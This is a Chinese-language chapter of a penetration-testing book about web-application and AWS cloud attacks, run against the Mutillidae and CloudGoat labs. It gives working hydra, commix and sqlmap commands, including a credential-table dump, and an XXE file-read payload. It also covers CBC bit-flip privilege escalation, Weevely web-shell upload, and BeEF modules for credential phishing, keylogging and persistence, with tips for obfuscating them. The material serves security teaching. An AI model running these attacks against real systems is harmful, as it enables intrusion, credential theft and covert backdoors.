网络爬虫是使用机器人或自动化脚本从网站获取特定信息的过程。Kali 提供了内建应用来执行此活动。网络爬虫的好处是,它能让你无需手动逐个执行攻击即可抓取数据。
攻击者还可以利用 OWASP DirBuster、dirb、wfuzz 和 CutyCapt 执行相同的操作。
针对 web 服务的特定漏洞扫描器
漏洞扫描器是自动化工具,用于爬行应用程序,识别已知漏洞的特征。
Kali 自带多种不同的预安装漏洞扫描器。渗透测试人员通常会针对同一目标使用两到三个综合扫描器,以确保获得有效的结果,从而实现测试目标。请注意,一些漏洞扫描器还包含攻击功能。
漏洞扫描器通常噪声较大,且通常会被受害者检测到。然而,扫描经常作为常规后台活动被忽略。事实上,一些攻击者已知会对目标发起大规模扫描,以掩盖真正的攻击,或诱使防御者禁用检测系统,以减少他们必须处理的报告数量。
重要的漏洞扫描器包括以下内容:
应用程序 | 描述 |
---|---|
Nikto | 一个基于 Perl 的开源扫描器,允许 IDS 规避和用户对扫描模块的更改。这个原始的 web 扫描器开始显得有些老旧,准确性不如一些现代的扫描器。 |
Skipfish | 一个完成递归爬行和基于字典的爬行的扫描器,用于生成目标网站的互动网站地图,并附有额外漏洞扫描的输出注释。 |
Wapiti | 一个基于 Python 的开源漏洞扫描器。 |
WebSploit | 一个高级的中间人攻击(MiTM)框架,适用于无线和蓝牙攻击。 |
ZAP | ZAP 是一个开源的 web 应用安全扫描器,涵盖了 OWASP 前十大漏洞,能够执行自动化和手动技术来测试业务登录漏洞,并具有代理功能。 |
表格 7.1:流行的漏洞扫描器
Kali 还包括一些应用程序特定的漏洞扫描工具。例如,WPScan 专门用于针对 WordPress CMS 应用程序。
应用程序特定的攻击
针对应用程序的攻击比针对特定操作系统的攻击更多。当考虑到可能影响每个在线应用程序的配置错误、漏洞和逻辑错误时,任何应用程序能被认为是安全的都令人惊讶。
我们将重点介绍一些针对 Web 服务的重要攻击。
暴力破解访问凭据
针对网站或其服务的最常见初始攻击之一是对访问认证的暴力破解攻击,猜测用户名和密码。这种攻击的成功率很高,因为用户倾向于选择容易记住的凭据或重复使用凭据,而且系统管理员通常不控制多次访问尝试。
Kali 自带 hydra
,一个命令行工具,以及带有图形用户界面的 hydra-gtk
。这两个工具都允许测试人员对指定服务进行暴力破解或迭代可能的用户名和密码。支持多种通信协议,包括 FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC 等。
以下截图显示了 hydra
使用暴力破解攻击来确定 HTTP 页面上的访问凭据:
hydra -l admin -P <Yourpasswordlist> 10.10.10.100 http-post-form "/mutillidae/index.php page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"Injection
在接下来的部分中,我们将探讨攻击者通常利用的常见注入攻击。
使用 commix 进行操作系统命令注入
命令注入工具 (commix) 是一个用 Python 编写的自动化工具,已在 Kali Linux 中预编译,用于在应用程序易受命令注入攻击时执行各种操作系统命令。
它允许攻击者注入到应用程序的任何特定易受攻击部分,甚至是 HTTP 头部中。
commix 还作为附加插件出现在各种渗透测试框架中,如 TrustedSec 的 PenTesters Framework (PTF) 和 OWASP 的 Offensive Web Testing Framework (OWTF)。
攻击者可以通过在终端输入 commix -h
来使用 commix 提供的所有功能。
要模拟攻击,在目标易受攻击的 Web 服务器的终端执行以下命令:
commix --url=http://YourIP/mutillidae/index.php popupnotificationcode=5L5&page=dns-lookup.php --data="target_host=INJECT_HERE" -headers="Accept-Language:fr\n ETAG:123\n"
当 commix 工具针对易受攻击的 URL 运行时,渗透测试人员应该能够看到命令执行在目标服务器上的进度,并且能够看到哪个参数是易受攻击的。在前面的场景中,target_host
是使用经典注入技术可以注入的变量,如 图 7.18 所示:
图 7.18:使用 commix 进行命令注入
一旦注入成功,攻击者可以在服务器上运行命令,例如,使用 dir
列出所有文件和文件夹,如 图 7.19 所示:
图 7.19:使用 commix 在远程系统上进行远程命令执行
测试人员在共享基础设施上运行 Commix 时必须小心,因为这可能会对托管服务器的内存造成显著负载。
sqlmap
网站中最常见和最易利用的漏洞是注入漏洞,发生在受害网站没有监控用户输入时,从而允许攻击者与后台系统进行交互。攻击者可以构造输入数据来修改或窃取数据库中的内容,将可执行文件上传到服务器,或向操作系统发出命令。
用于评估 SQL 注入漏洞的最有用且强大的工具之一是 sqlmap
,它是一个 Python 工具,能够自动化对 Firebird、Microsoft SQL、MySQL(现称为 MariaDB,MySQL 的社区开发和商业支持分支)、Oracle、PostgreSQL、Sybase 和 SAP MaxDB 数据库的侦察与利用。
我们将演示对 Mutillidae 数据库进行 SQL 注入攻击。第一步是确定 web 服务器、后台数据库管理系统以及可用的数据库。
访问 Mutillidae 网站并查看网页,找出接受用户输入的页面(例如,接受远程用户输入用户名和密码的用户登录表单);这些页面可能存在 SQL 注入漏洞。
然后,打开 Kali,在终端中输入以下命令(使用合适的目标 IP 地址):
root@kali:~# sqlmap -u 'http://targetip/mutillidae/index.php?page=user- info.php&username=admin&password=&user-info-php-submit- button=View+Account+Details' --dbs
sqlmap
将返回数据,如图 7.20所示:
图 7.20:sqlmap 在易受攻击的链接上执行的输出
最有可能存储应用程序数据的数据库是 Mutillidae 数据库;因此,我们将使用以下命令检查该数据库的所有表:
root@kali:~# sqlmap -u "http://yourip/mutillidae/index.php?page=user-info.php&username=&password=&user-info-php-submit-button=View+Account+Details" -D mutillidae --tables
执行该命令返回的数据如图 7.21所示:
图 7.21:使用 sqlmap 列出 Mutillidae 数据库中的所有表
在所有列出的表中,有一个表名为 accounts
。我们将尝试从该表部分转储数据。如果成功,账户凭证将允许我们在进一步的 SQL 注入攻击失败时重新访问数据库。
要转储凭证,请使用以下命令:
root@kali:~# sqlmap -u "http://yourip/mutillidae/index.php?page=user-info.php&username=&password=&user-info-php-submit-button=View+Account+Details" -D mutillidae -T accounts --dump
图 7.22:在选定数据库中转储表的所有内容
上述示例集中在 HTTP GET
参数上。然而,攻击者也可以使用任何代理工具利用 HTTP POST
参数,并捕获客户端的完整 POST
请求,将其复制到文件中,然后运行 sudo sqlmap –r 文件名
,如图 7.23所示:
图 7.23:使用 HTTP POST 方法运行 sqlmap
类似的攻击可以针对数据库进行,用以提取信用卡号或其他机密信息,以实现渗透测试或红队演练的目标。
攻击者还可以选择通过使用sqlmap
的–os-shell
在终端切换到sqlmap
命令来执行命令。
XML 注入
现在,许多应用程序使用可扩展标记语言(XML),它定义了一组规则,用于编码文档,使得人类和机器都能理解。XML 注入是一种通过将意外的消息注入到 XML 结构或内容中,利用 XML 应用程序或服务逻辑的攻击方式。
本节将探讨如何执行 XML 注入,并通过利用开发人员留下的典型配置错误成功获得底层操作系统的访问权限。
按照以下步骤识别是否可以进行 XML 注入:
-
访问
http:/Your IP/mutillidae/index.php?page=xml-validator.php
,如图 7.24所示:图 7.24:Mutillidae 上的 XML 验证
-
通过在表单中输入以下内容,检查我们是否得到了有效的响应:
<!DOCTYPE foo [ <!ENTITY Variable "hello" > ]><somexml><message>&Variable;</message></somexml>
之前的代码应显示
Hello
作为响应,如图 7.25所示:图 7.25:服务器响应 XML 提交的成功响应
-
如果服务器在没有错误消息的情况下响应,它可能容易受到 XML 注入攻击。
-
现在,我们可以通过将
SYSTEM
添加到变量中并调用本地文件来创建有效负载:<!DOCTYPE foo [ <!ENTITY testref SYSTEM "file:///c:/windows/win.ini" > ]> <somexml><message>&testref;</message></somexml>
如果成功,你应该能够看到被调用文件的内容,如下所示:
图 7.26:XML 注入成功显示服务器响应中的 win.ini 文件内容
攻击者可能通过直接访问整个系统并在目标网络内横向移动,运行 PowerShell 漏洞。
比特翻转攻击
大多数攻击者并不太关注加密类型的攻击,因为这既费时又需要大量计算能力来破解密文以提取有意义的信息。但在某些情况下,实施的加密逻辑可以很容易理解。
本节将探索比特翻转攻击,这种攻击使用密码块链(CBC)来加密给定的明文。
在 CBC 中,在加密一个块之前,明文会与前一个块的加密输出进行 XOR 操作,通过创建一个逻辑链的块,如图 7.27所示:
图 7.27:使用 CBC 进行初始化向量加密
简而言之,XOR 比较两个值,如果它们不同则返回true
。
这里的潜在攻击场景是什么?如果任何人都可以将明文块与前一个块的加密消息进行 XOR 操作,第一块的 XOR 输入会是什么?你所需要的只是一个初始化向量。通过导航至OWASP 2017 > A1 - 注入(其他) > CBC 比特翻转来访问 Mutillidae:
http://yourip/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba
测试人员应能够访问以下页面,如图 7.28所示:
图 7.28:默认值访问 CBC 位翻转页面
如我们所见,当前的应用用户正在使用用户 ID 100
和组 ID 100
运行。要成为具有高级权限的 root 用户,你需要是组 ID 和用户 ID 都为 000
的用户。
我们需要操作的唯一内容是 IV 值 6bc24fc1ab650b25b4114e93a98f1eba
。由于它是十六进制且长度为 32 个字符,因此长度为 128 位。我们开始评估初始化向量,将值分割成两个字符作为一个块,并通过逐一访问它们来更改 URL 中的值:
-
http://yourIP/mutillidae/index.php?page=view-user-privilege-level.php&iv=``00``c24fc1ab650b25b4114e93a98f1eba
:用户或组 ID 无变化 -
http://YourIP/mutillidae/index.php?page=view-user-privilege-level.php&iv=6b``00``4fc1ab650b25b4114e93a98f1eba
:用户或组 ID 无变化
当我们到达第五块 6bc24fc100650b25b4114e93a98f1eba
时,我们会看到用户 ID 发生变化,如图 7.29所示:
图 7.29:加密数据的操作及用户 ID 的变化
测试人员可以使用 Python 2(因为 Python 3 中没有十六进制支持)为我们生成十六进制值,如此处所示。在 Kali 终端中输入 python
,应该会进入 Python shell 2.7.18 默认版本。我们将对该值进行异或操作,得到结果 000
:
>>> print hex(0XAB ^ 0X31)
0x9a
>>> print hex(0X9A ^ 0X31)
0xab
>>> print hex(0X9A ^ 0X30)
0xaa
要成为 root 用户,组 ID 和用户 ID 都需要为 000
,因此我们会在所有块上重复此操作,直到值发生变化。最终,我们得到第八块 6bc24fc1ab650b``14``b4114e93a98f1eba
,它改变了组 ID;现在,我们将对其执行与用户 ID 相同的操作:
kali@kali:~# python
Type "help", "copyright", "credits" or "license" for more information
>>> print hex(0X25 ^ 0X31)
0x14
>>> print hex(0X14 ^ 0X30)
0x24
>>> exit()
这为我们提供了以下密钥:6bc24fc1``aa``650b``24``b4114e93a98f1eba
。当你传递具有新值的 IV 时,你现在应该能够以增强权限访问应用程序,如图 7.30所示:
图 7.30:通过改变加密右侧值绕过用户权限
即使加密处于最高级别(如 TLS1.3),如果应用程序通过 HTTP GET
方法接受或执行身份验证,攻击者仍然有可能利用路由器等网络设备,并捕获所有 URL 参数。
通过 Web Shell 维持访问
一旦 Web 服务器及其服务被攻破,确保能够维持安全访问非常重要。通常这可以通过 Web Shell 实现,它是一个小程序,提供隐秘的后门访问,并允许使用系统命令来促进后期的攻击活动。
Kali 附带了多个 Web Shell;在这里,我们将使用一个流行的 PHP Web Shell,称为 Weevely。对于其他技术,攻击者可以利用 Kali Linux 中所有预先收集的 Web Shell,这些 Shell 存储在 /usr/share/webshells
文件夹中。
Weevely 模拟一个 Telnet 会话,允许测试者或攻击者利用 30 多个模块来执行后渗透任务,包括以下内容:
-
浏览目标文件系统
-
从被攻陷的系统传输文件
-
执行常见服务器配置错误的审计
-
通过目标系统进行 SQL 账户的暴力破解
-
启动反向 TCP Shell
-
在已被攻陷的远程系统上执行命令,即使已经应用了 PHP 安全限制
最后,Weevely 试图将通信隐藏在 HTTP Cookies 中以避免被检测。要创建 Weevely,可以在命令提示符下输入以下命令:
sudo weevely generate <password> <path>
这将创建一个名为 404.php
的文件,存储在你输入的路径的 /home/kali
目录中。攻击者可以在渗透测试活动中自行选择文件名,不过,像 404
、403
和 302
这样的文件名通常表示基于客户端请求返回的页面,这样会让安全监控的蓝队感觉不那么可疑。图 7.31提供了如何运行 weevely
的说明:
图 7.31:使用 Weevely 创建带有密码的 PHP 后门文件
导航到 OWASP 2017 > A6 - 安全配置错误 > 无限制文件上传。我们将利用 Mutillidae 上的文件上传漏洞。上传我们使用 weevely
创建的 404.php
文件到网站,如图 7.32所示:
图 7.32:将后门 PHP 文件上传到我们的目标应用程序
要与 Web Shell 进行通信,可以在命令提示符下输入以下命令,确保目标 IP 地址
、目录
和 密码
变量更改为被攻陷系统的相应值:
sudo weevely http://<target IP address><directory> <password>
在图 7.33所示的示例中,我们已经验证了使用 whoami
命令(用于识别当前系统)连接到 Web Shell:
图 7.33:通过后门成功以高权限用户身份在目标上运行命令
Web Shell 还可以用来建立一个反向 Shell 连接回测试者,使用 netcat
或 Metasploit 框架作为本地监听器。这可以用于通过水平和垂直提权进一步攻击网络内部。
不幸的是,Weevely 后门只能在 PHP 版本低于 7.2.x 的环境中工作。如果目标网站运行的是 7.3 到 8.x 版本,攻击者可以利用可以从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2007/backdoor.php
下载的现成后门,并将文件上传到与我们在图 7.32中所做相同的位置。现在我们应该能够看到后门正常工作,如图 7.34所示:
图 7.34:在最新版本的 PHP 上运行后门
浏览器利用框架(BeEF)
BeEF 是一个专注于特定客户端应用程序和网页浏览器的利用工具。BeEF 允许攻击者通过 XSS 或 SQL 注入等攻击将 JavaScript 代码注入到易受攻击的 HTML 代码中。这段利用代码被称为hook。当浏览器执行这个 hook 时,攻击得以实现。浏览器(僵尸)会回连到 BeEF 应用程序,BeEF 向浏览器提供 JavaScript 命令或模块。
BeEF 的模块执行以下任务:
-
指纹识别和受损浏览器的侦察。它也可以作为一个平台,用于评估漏洞的存在以及它们在不同浏览器下的行为。
请注意,BeEF 允许我们在同一客户端上挂钩多个浏览器,并跨域管理多个客户端,然后在利用和后期利用阶段进行管理。
-
对目标主机进行指纹识别,包括虚拟机的存在。
-
检测客户端上的软件(仅限 Internet Explorer)并获取
Program Files
和Program Files (x86)
目录中的目录列表。这可能会识别出其他可以被利用的应用程序,从而巩固我们对客户端的控制。 -
使用受损系统的摄像头拍照;这些照片对报告有重大影响。
-
对受害者的数据文件进行搜索,窃取可能包含身份验证凭证(剪贴板内容和浏览器 cookies)或其他有用信息的数据。
-
实现浏览器按键记录。
-
使用 ping 扫描和指纹识别网络设备,进行网络侦察,并扫描开放端口。
-
从 Metasploit 框架发起攻击。
-
使用隧道代理扩展,利用受损网页浏览器的安全权限攻击内部网络。
由于 BeEF 是用 Ruby 编写的,它支持多种操作系统(Linux、Windows 和 macOS)。更重要的是,BeEF 易于自定义新的模块,并扩展其功能。
安装和配置 BeEF
BeEF 在 Kali 发行版中并非默认安装。可以直接从 github.com/beefproject/beef
下载。此应用程序可以通过三个简单的步骤进行安装:
-
在终端中运行
sudo git clone https://github.com/beefproject/beef
-
使用
cd beef
命令更改文件夹 -
通过在终端中运行
sudo ./install
安装所有依赖项和相关包。 -
最后,运行
sudo bundle install
安装相关的 Ruby gems 和包
如果测试人员在安装 BeEF 时收到任何错误信息(第 3 步),特别是与未满足的依赖项(如 libgcc-9-dev
)相关的错误,建议他们将以下仓库添加到 /etc/apt/sources.list
文件中,然后运行 sudo apt update
,最后执行 sudo ./install
:
deb http://http.kali.org/kali kali-last-snapshot main non-free contrib
deb http://http.kali.org/kali kali-experimental main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
默认情况下,BeEF 未与 Metasploit 框架集成。要集成 BeEF,你需要执行以下步骤:
-
编辑位于你下载/克隆 BeEF 的同一文件夹中的主配置文件,使用
sudo
权限打开config.yaml
以编辑内容。如果没有更改默认的用户名和密码,BeEF 应用程序将无法启动,因此建议测试人员将默认凭证作为第一步进行更改,如 图 7.35 所示:图 7.35:更改 BeEF 应用程序的默认凭证
-
编辑位于 /
Beef/extensions/metasploit/config.yml
的文件。默认情况下,所有内容都设置为 localhost(127.0.0.1
)。如果你在局域网中运行 Metasploit 服务,则需要编辑host
、callback_host
和os 'custom', path
行,包含你的 IP 地址和 Metasploit 框架的位置。正确编辑后的config.yml
文件如 图 7.36 所示:图 7.36:使用 Metasploit 框架配置 BeEF 扩展
-
启动
msfconsole
,并加载msgrpc
模块,如 图 7.37 所示。确保包括密码:图 7.37:使用自定义密码允许 MSGRPC 服务在网络 IP 上运行
-
通过在应用程序下载的相同位置使用以下命令启动 BeEF:
sudo ./beef
-
通过查看程序启动时生成的消息来确认启动。这些消息应表明与 Metasploit 的成功连接,并伴有 Metasploit 漏洞已加载的提示。成功启动的程序如 图 7.38 所示:
图 7.38:成功启动 BeEF 应用程序
当你重新启动 BeEF 时,使用 -x
参数来重置数据库。
在这个示例中,BeEF 服务器运行在 10.10.10.12
上,钩子 URL(我们希望目标激活的 URL)是 10.10.10.12:3000/hook.js
。
BeEF 大部分的管理和操作都是通过 Web 界面进行的。要访问控制面板,请前往 http://<IP 地址>:3000/ui/panel
。
攻击者应该看到以下截图;登录凭证将按 config.yaml
中的设置输入:
图 7.39:登录 BeEF 应用程序
了解 BeEF 浏览器
启动 BeEF 控制面板时,它会展示 入门指南 页面,页面上有指向在线站点的链接,以及可以用于验证各种攻击的演示页面。BeEF 控制面板如 图 7.40 所示:
图 7.40:BeEF 浏览器在成功认证后跟随
如果你已经钩住了受害者,界面将分为两个面板:
-
在面板的左侧,我们有钩住的浏览器;测试人员可以看到每个连接的浏览器,并查看其主机操作系统、浏览器类型、IP 地址和已安装的插件信息。由于 BeEF 会设置一个 cookie 来识别受害者,因此它可以参考这些信息并保持一致的受害者列表。
-
面板的右侧是所有操作的发起地点,并且结果在此处显示。在命令选项卡中,我们可以看到针对已钩住浏览器的不同攻击向量的分类存储库。此视图会根据每个浏览器的类型和版本有所不同。
BeEF 使用一种颜色编码方案来根据命令对特定目标的可用性进行分类。使用的颜色如下:
-
绿色:表示命令模块对目标有效,并且应该对受害者不可见。
-
橙色:表示命令模块对目标有效,但可能会被受害者检测到。
-
灰色:表示命令模块尚未经过验证,无法针对目标使用。
-
红色:表示命令模块对目标无效。可以使用,但不保证成功,且可能会被目标检测到。
请对这些指示保持谨慎态度,因为客户端环境的差异可能使某些命令无效,或导致其他意外结果。
要开始攻击或钩住受害者,我们需要让用户点击钩子 URL,格式为<IP 地址>:<端口>/hook.js
。这可以通过多种方式实现,包括:
-
原始 XSS 漏洞
-
中间人攻击(特别是使用 BeEF Shank 的攻击,这是一种 ARP 欺骗工具,专门针对内部网络中的内网网站)
-
社会工程学攻击,包括 BeEF 网页克隆器和群发邮件工具、自定义钩子点与 iFrame 伪装,或二维码生成器
一旦浏览器被钩住,它就被称为僵尸。请选择命令界面左侧钩住的浏览器面板中的僵尸 IP 地址,然后查看可用的命令。
在下面截图所示的示例中,钩住的浏览器提供了几种不同的攻击和管理选项。最简单的攻击选项之一是社会工程学Clippy攻击。
当在命令下的模块树中选择Clippy时,将在最右侧启动一个特定的Clippy面板,如下图所示。它允许你调整图像、所传递的文本,以及如果受害者点击提供的链接时将在本地启动的可执行文件。
默认情况下,自定义文本会通知受害者他们的浏览器已过时,并提供为他们更新浏览器的选项,下载一个可执行文件(无害),然后感谢用户执行更新。所有这些选项都可以由测试者修改:
图 7.41:BeEF Clippy 模块
当 Clippy 执行时,受害者会在他们的浏览器上看到一条消息,如图 7.42所示:
图 7.42:受害者浏览器显示 BeEF 模块 Clippy 消息
这可以是一个非常有效的社会工程攻击。在与客户测试时,我们的成功率(客户下载了一个无害的指示文件)大约为 70%。
一个更有趣的攻击是 “pretty theft”,它要求用户提供他们在热门网站上的用户名和密码。例如,Facebook 的 “pretty theft” 选项可以由测试者配置,如图 7.43所示:
图 7.43:假 Facebook 弹窗的 Pretty theft 模块
当攻击执行时,受害者会看到一个看似合法的弹出窗口,如图 7.44所示:
图 7.44:受害者浏览器显示假 Facebook 会话超时
在 BeEF 中,测试者查看攻击历史日志,并可以从命令结果栏的数据字段中推导出用户名和密码,如图 7.45所示:
图 7.45:BeEF 模块 “pretty theft” 捕获受害者输入的数据
另一个可以快速发起的攻击是老式的钓鱼攻击;一旦浏览器被 BeEF 控制,重定向用户到攻击者控制的网站就相当简单。
使用 BeEF 作为隧道代理
隧道技术是将有效负载协议封装在传输协议中(如 IP)的过程。通过隧道技术,您可以跨网络传输不兼容的协议,或者绕过配置为阻止特定协议的防火墙。BeEF 可以配置为充当隧道代理,模拟反向 HTTP 代理——浏览器会话成为隧道,被钩住的浏览器则是出口点。当内部网络被攻破时,这种配置非常有用,因为隧道代理可以用于以下操作:
-
在受害者浏览器的安全上下文中浏览已认证站点(客户端 SSL 证书、认证 cookie、NTLM 哈希等)
-
使用受害者浏览器的安全上下文爬取被钩住的域
-
便于使用诸如 SQL 注入等工具
要使用隧道代理,选择您希望攻击的被钩住的浏览器,并右键单击其 IP 地址。在弹出框中,如图 7.46所示,选择用作代理选项:
图 7.46:通过代理激活浏览器中的中间人攻击
配置浏览器使用 BeEF 隧道代理作为 HTTP 代理。默认情况下,代理地址为 127.0.0.1
,端口为 6789
。攻击者可以利用 Forge Request 强迫用户从攻击者控制的网站下载有效载荷或勒索软件,如 图 7.47 所示:
图 7.47:强制受害者从远程站点下载内容
如果你使用配置为 HTTP 代理的浏览器访问目标网站,所有原始的请求/响应对将存储在 BeEF 数据库中,可以通过导航到 Rider | History 来分析。日志的摘录如下所示,如 图 7.48:
图 7.48:代表受害者提交的 forge HTTP 请求日志
一旦攻击完成,有一些机制可以确保保持持久连接,包括以下内容:
-
确认关闭:这是一个模块,当受害者尝试关闭标签页时,会弹出 确认导航 - 您确定要离开此页面吗? 的提示框。如果用户选择离开此页面,则此操作不会生效,确认导航 提示框将继续显示。
-
弹出窗口下拉模块:该模块配置为在
config.yaml
中自动运行。此模块尝试打开一个小的弹出下拉窗口,以便在受害者关闭主要浏览器标签页时,保持浏览器处于活跃状态。该行为可能会被弹窗拦截器阻止。 -
iFrame 键盘记录器:该模块将网页上的所有链接重写为一个 iFrame 覆盖层,覆盖原始页面的 100% 高度和宽度。为了最大效果,应该将其与 JavaScript 键盘记录器结合使用。理想情况下,您应该加载被劫持域的登录页面。
-
浏览器劫持:该模块确保每当受害者点击任何链接时,下一页也会被劫持。避免此行为的唯一方法是手动在地址栏输入新地址。
最后,尽管 BeEF 提供了一系列出色的模块,用于执行侦察以及杀伤链的漏洞利用和后期利用阶段,但 BeEF 的已知默认活动(/hook.js
和服务器头)正被用来检测攻击,从而降低了其有效性。
测试人员必须使用如 Base64 编码、空白编码、随机化变量、删除注释等技术来混淆攻击,以确保未来的完全有效性。
总结
在本章中,我们从攻击者的角度审视了 Web 应用程序及其提供的用户授权服务。我们将杀伤链的视角应用于 Web 应用程序及其服务,以便理解侦察和漏洞扫描的正确应用。
提出了几种不同的技术;我们聚焦于黑客心态,探讨了攻击网页应用程序时的思维方式,并了解了进行渗透测试时使用的方法论。我们学习了如何利用客户端代理执行各种攻击,查看了用于对网站进行暴力破解的工具,并通过网页应用程序覆盖了操作系统级命令。我们通过检查特定于网络服务的网页 shell 完成了本章内容。
在第八章,云安全漏洞利用中,我们将学习如何识别和攻击配置错误的云服务,这些服务允许用户访问资源,以及如何提升权限以实现目标。
第八章:云安全漏洞利用
云采用显著改变了组织收集、处理和存储最终用户数据的方式。一些企业自动认为他们的云服务提供商会负责其网络安全,但每个云消费者,无论是个人还是企业,都必须意识到这是一个共享责任。话虽如此,大多数情况下,当测试人员成功获得内部网络访问权限时,他们认为测试几乎完成,假设他们可以继续入侵网络或企业。
在本章中,我们将探讨渗透测试人员如果进入云环境,可以利用的不同类型的攻击。特别是,我们将探讨 AWS,并识别多种绕过安全控制的过程,并使用 Kali Linux 中的工具演示这一过程。
本章结束时,你将学习如何通过以下主题攻击配置错误的云服务:
-
云服务的基本原则
-
EC2 实例中的漏洞扫描与应用利用
-
获取 AWS IAM 密钥
-
测试 S3 桶配置错误
-
利用安全权限漏洞
-
混淆 CloudTrail 日志
我们将探讨云服务的基本原则和不同的部署模型。
云服务介绍
云计算通常是指计算资源服务的按需提供,特别是为消费者提供的存储和计算能力。云计算的主要原则包括按需、 自助服务、广泛的网络访问、多租户、资源池化、弹性、可扩展性和计量服务。表 8.1 提供了云服务提供商提供的四种部署模型的详细信息。如果这些部署模型中的任何一种被成功利用并建立了通信连接,那么它将提供持续访问,从而实现渗透测试的目标:
部署模型 | 描述 |
---|---|
私有云 | 仅为特定组织提供的独占云基础设施。类似于传统的数据中心,但托管在云上。 |
社区云 | 这是一个云基础设施,在具有共同兴趣的组织消费者之间共享。 |
公有云 | 为广大终端用户公众提供的云基础设施。 |
混合云 | 结合上述任意两种模型的云基础设施,通常是私有云与公有云、内部部署与私有云,或内部部署与公有云的组合。 |
表 8.1:云部署模型
在确定你可能需要在任何特定客户环境中执行的测试类型之前,理解以下基本的云服务模型非常重要:
服务模型 | 描述 |
---|---|
软件即服务 | 在此服务中,云服务商提供软件给组织,组织按需付费。SaaS 云服务提供商的示例包括 Dropbox、G Suite、Microsoft Office 365、Slack 和 Citrix Content Collaboration。 |
平台即服务 | 在此服务中,云服务商提供硬件和软件给组织。常见的示例包括 AWS Elastic Beanstalk、Heroku、Windows Azure(主要作为 PaaS 使用)、Force.com、OpenShift 和 Apache Stratos。 |
基础设施即服务 | 在此服务中,主要提供存储、网络和虚拟化给组织,组织按需付费。示例包括 AWS EC2、Rackspace、Google Compute Engine(GCE)、Digital Ocean 等。 |
表 8.2:云服务模型
图 8.1 展示了如何根据服务模型的不同,安全责任发生变化:
图 8.1:云服务模型与责任
理解了基本概念后,我们现在将设置我们的 AWS 实验室,通过我们在第一章《基于目标的渗透测试》中安装的 CloudGoat AWS 部署工具来配置故意存在漏洞的实例。请注意,即使在部署了存在漏洞的实例后不使用 CloudGoat,使用 AWS 服务仍会产生费用。此外,这些实例将使您的云基础设施暴露于各种攻击。
访问这些云服务的场景甚至可能从初步的侦察阶段开始,在该阶段攻击者探索目标组织的所有 GitHub 仓库、pastebin 或任何数据转储网站,可能会获取访问密钥和密钥对。
以下是可用来配置和练习 AWS 特定攻击的 CloudGoat 选项。为了理解这些选项,测试人员可以在终端输入docker run –it rhinosecuritylabs/Cloudgoat:latest
来运行 Docker 镜像,这将引导我们进入 CloudGoat shell,在这里我们运行./cloudgoat help
,这将为我们提供如下五个选项,如图 8.2所示:
图 8.2:从 Docker 镜像运行 CloudGoat
收到与 Terraform 相关的错误信息,如OSError: [Errno 8] Exec format error: "terraform" 或 "Terraform not found"
的测试人员,可以按照以下步骤,通过替换默认的 Terraform 为最新版本来解决此问题:
-
运行
wget https://releases.hashicorp.com/terraform/1.0.10/terraform_1.0.10_linux_amd64.zip
-
解压
terraform_1.0.10_linux_amd64.zip
-
运行
mv /usr/bin/terraform terraform_old
-
运行
mv terraform /usr/bin/
以下展示前四个选项的详细信息:
-
config
– 此选项允许我们管理 CloudGoat 安装的不同方面,尤其是 IP 白名单和默认的 AWS 配置文件:-
whitelist
– 建议测试人员始终将将要进行测试的 IP 地址列入白名单,因为在 AWS 基础设施中部署的资源可能存在漏洞。此命令将 IP 地址或 IP 地址范围存储在项目基础目录中的./whitelist.txt
文件中。此外,您可以添加--auto
参数,此工具将自动进行网络请求。使用curl ifconfig.co
查找您的 IP 地址,然后使用结果创建白名单文件。 -
profile
– CloudGoat 默认需要手动配置 AWS 配置文件。运行此命令将提示测试人员输入配置文件详细信息,如 AWS 访问密钥和秘密密钥,并将它们存储在项目目录中的config.yml
文件中。攻击者可以选择创建自己的config.yml
文件。
-
-
create
– 此选项将场景部署到 AWS 帐户。如果部署场景两次,CloudGoat 将销毁现有场景并创建新场景。 -
list
– 这将显示所有已部署的场景、未部署的场景以及有关特定已部署场景的更多信息。 -
destroy
– 这将关闭并删除 CloudGoat 创建的所有资源。
要将 CloudGoat 配置到特定配置文件,请在终端中运行 ./cloudgoat.py config profile <profilename>
:
./cloudgoat config profile masteringkali
非常重要的一点是,我们需要将 AWS 资源配置为仅允许来自您连接的 IP 访问:
./cloudgoat.py config whitelist –auto
在下一部分中,我们将部署一个易受攻击的 Web 应用程序,以在 AWS 中执行特定应用程序的利用。通过在终端中运行 ./cloudgoat create rce_web_app --profile masteringkali
来实现。这将开始 CloudGoat 向您的 AWS 帐户部署云资源的过程,部署完成后,您应该能够看到包含云访问详细信息的确认信息,如 图 8.3 所示:
./cloudgoat.py create rce_web_app --profile masteringkali
图 8.3: 使用 CloudGoat 和我们的 AWS 配置文件部署 rce_web_app
在完成 Web 应用程序及其支持资源的部署后,测试人员应该看到图 8.4,表示部署成功完成:
图 8.4: 漏洞设置成功部署
测试人员可以利用 CloudGoat 生成的访问密钥和秘密密钥对部署的场景进行渗透测试。作为传统步骤,测试人员可以利用漏洞扫描工具如 Scout Suite 或 Prowler。
在 EC2 实例中进行漏洞扫描和应用程序利用
第一步是通过在终端中运行 sudo apt install awscli
为我们的 Kali Linux 配备 AWS 客户端,然后我们可以利用工具了解当前 API 和秘密密钥的权限。
通过在终端中运行 sudo aws configure --profile <profilename>
来配置 AWS 配置文件。
在这种情况下,我们将在 Kali Linux 中配置这两个配置文件:
-
为了演示目的,我们将更改建议的
Lara
配置文件名(见图 8.4),改为RCE(远程代码执行),并使用访问密钥和秘密密钥。 -
我们将创建一个由 CloudGoat 推荐的
mcduck
配置文件,并使用在 CloudGoat 场景部署过程中生成的密钥。sudo aws configure –-profile <profilename>
为了确认我们的配置文件是否正常工作,我们可以列出这些配置文件能够访问的S3(即亚马逊的简单存储服务)存储桶,通过运行以下命令,测试人员应该能够看到它们,正如图 8.5所示:
sudo aws s3 ls –-profile <profilename>
图 8.5:在 Kali Linux 中配置 AWS 配置文件
攻击者可以利用自动化工具,如 Scout Suite 和 Prowler,快速了解错误配置/过度权限。
